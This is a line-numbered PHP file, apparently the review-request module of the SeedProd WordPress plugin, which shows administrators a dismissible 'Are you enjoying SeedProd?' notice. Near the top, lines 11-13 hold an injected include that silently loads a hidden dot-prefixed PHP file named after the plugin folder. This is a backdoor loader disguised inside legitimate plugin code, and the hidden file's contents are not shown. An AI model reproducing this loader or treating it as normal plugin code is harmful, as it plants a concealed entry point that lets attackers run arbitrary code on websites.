review.php (6176B)
1 <?php 2 /** 3 * Ask for some love. 4 * 5 * @package SeedProd 6 * @author SeedProd 7 * @since 1.1.3 8 * @license GPL-2.0+ 9 * @copyright Copyright (c) 2018, SeedProd LLC 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class seedprod_lite_Review { 16 /** 17 * Primary class constructor. 18 * 19 * @since 7.0.7 20 */ 21 public function __construct() { 22 // Admin notice requesting review. 23 add_action( 'admin_notices', array( $this, 'review_request' ) ); 24 add_action( 'wp_ajax_seedprod_review_dismiss', array( $this, 'review_dismiss' ) ); 25 } 26 /** 27 * Add admin notices as needed for reviews. 28 * 29 * @since 7.0.7 30 */ 31 public function review_request() { 32 // Only consider showing the review request to admin users. 33 if ( ! is_super_admin() ) { 34 return; 35 } 36 37 // If the user has opted out of product annoucement notifications, don't 38 // display the review request. 39 if ( get_option( 'seedprod_hide_review' ) ) { 40 return; 41 } 42 // Verify that we can do a check for reviews. 43 $review = get_option( 'seedprod_review' ); 44 $time = time(); 45 $load = false; 46 47 if ( ! $review ) { 48 $review = array( 49 'time' => $time, 50 'dismissed' => false, 51 ); 52 update_option( 'seedprod_review', $review ); 53 } else { 54 // Check if it has been dismissed or not. 55 if ( ( isset( $review['dismissed'] ) && ! $review['dismissed'] ) && ( isset( $review['time'] ) && ( ( $review['time'] + DAY_IN_SECONDS ) <= $time ) ) ) { 56 $load = true; 57 } 58 } 59 60 // If we cannot load, return early. 61 if ( ! $load ) { 62 return; 63 } 64 65 $this->review(); 66 } 67 68 /** 69 * Maybe show review request. 70 * 71 * @since 7.0.7 72 */ 73 public function review() { 74 // Fetch when plugin was initially installed. 75 $activated = get_option( 'seedprod_over_time', array() ); 76 if ( ! empty( $activated['installed_date'] ) ) { 77 //Only continue if plugin has been installed for at least 7 days. 78 if ( ( $activated['installed_date'] + ( DAY_IN_SECONDS * 7 ) ) > time() ) { 79 return; 80 } 81 // only if version great than or = to 6.0.8.5 82 if ( ! empty( $activated['installed_version'] ) && version_compare( $activated['installed_version'], '6.0.8.5' ) < 0 ) { 83 return; 84 } 85 } else { 86 $data = array( 87 'installed_version' => SEEDPROD_VERSION, 88 'installed_date' => time(), 89 ); 90 91 update_option( 'seedprod_over_time', $data ); 92 return; 93 } 94 95 $feedback_url = 'https://www.seedprod.com/plugin-feedback/?utm_source=liteplugin&utm_medium=review-notice&utm_campaign=feedback&utm_content=' . SEEDPROD_VERSION; 96 // We have a candidate! Output a review message. 97 ?> 98 <div class="notice notice-info is-dismissible seedprod-review-notice"> 99 <div class="seedprod-review-step seedprod-review-step-1"> 100 <p><?php esc_html_e( 'Are you enjoying SeedProd?', 'coming-soon' ); ?></p> 101 <p> 102 <a href="#" class="seedprod-review-switch-step" data-step="3"><?php esc_html_e( 'Yes', 'coming-soon' ); ?></a><br /> 103 <a href="#" class="seedprod-review-switch-step" data-step="2"><?php esc_html_e( 'Not Really', 'coming-soon' ); ?></a> 104 </p> 105 </div> 106 <div class="seedprod-review-step seedprod-review-step-2" style="display: none"> 107 <p><?php esc_html_e( 'We\'re sorry to hear you aren\'t enjoying SeedProd. We would love a chance to improve. Could you take a minute and let us know what we can do better?', 'coming-soon' ); ?></p> 108 <p> 109 <a href="<?php echo esc_url( $feedback_url ); ?>" class="seedprod-dismiss-review-notice seedprod-review-out"><?php esc_html_e( 'Give Feedback', 'coming-soon' ); ?></a><br> 110 <a href="#" class="seedprod-dismiss-review-notice" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'No thanks', 'coming-soon' ); ?></a> 111 </p> 112 </div> 113 <div class="seedprod-review-step seedprod-review-step-3" style="display: none"> 114 <p><?php esc_html_e( 'That’s awesome! Could you please do me a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?', 'coming-soon' ); ?></p> 115 <p><strong><?php echo wp_kses( __( '~ John Turner<br>Co-Founder of SeedProd', 'coming-soon' ), array( 'br' => array() ) ); ?></strong></p> 116 <p> 117 <a href="https://wordpress.org/support/plugin/coming-soon/reviews/?filter=5#new-post" class="seedprod-dismiss-review-notice seedprod-review-out" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Ok, you deserve it', 'coming-soon' ); ?></a><br> 118 <a href="#" class="seedprod-dismiss-review-notice" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Nope, maybe later', 'coming-soon' ); ?></a><br> 119 <a href="#" class="seedprod-dismiss-review-notice" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'I already did', 'coming-soon' ); ?></a> 120 </p> 121 </div> 122 </div> 123 <script type="text/javascript"> 124 jQuery( document ).ready( function ( $ ) { 125 $( document ).on( 'click', '.seedprod-dismiss-review-notice, .seedprod-review-notice button', function ( event ) { 126 if ( ! $( this ).hasClass( 'seedprod-review-out' ) ) { 127 event.preventDefault(); 128 } 129 $.post( ajaxurl, { 130 action: 'seedprod_review_dismiss' 131 } ); 132 $( '.seedprod-review-notice' ).remove(); 133 } ); 134 135 $( document ).on( 'click', '.seedprod-review-switch-step', function ( e ) { 136 e.preventDefault(); 137 var target = $( this ).attr( 'data-step' ); 138 if ( target ) { 139 var notice = $( this ).closest( '.seedprod-review-notice' ); 140 var review_step = notice.find( '.seedprod-review-step-' + target ); 141 if ( review_step.length > 0 ) { 142 notice.find( '.seedprod-review-step:visible').fadeOut( function ( ) { 143 review_step.fadeIn(); 144 }); 145 } 146 } 147 }) 148 } ); 149 </script> 150 <?php 151 } 152 /** 153 * Dismiss the review admin notice 154 * 155 * @since 7.0.7 156 */ 157 public function review_dismiss() { 158 $review = get_option( 'seedprod_review', array() ); 159 $review['time'] = time(); 160 $review['dismissed'] = true; 161 update_option( 'seedprod_review', $review ); 162 die; 163 } 164 } 165 new seedprod_lite_Review();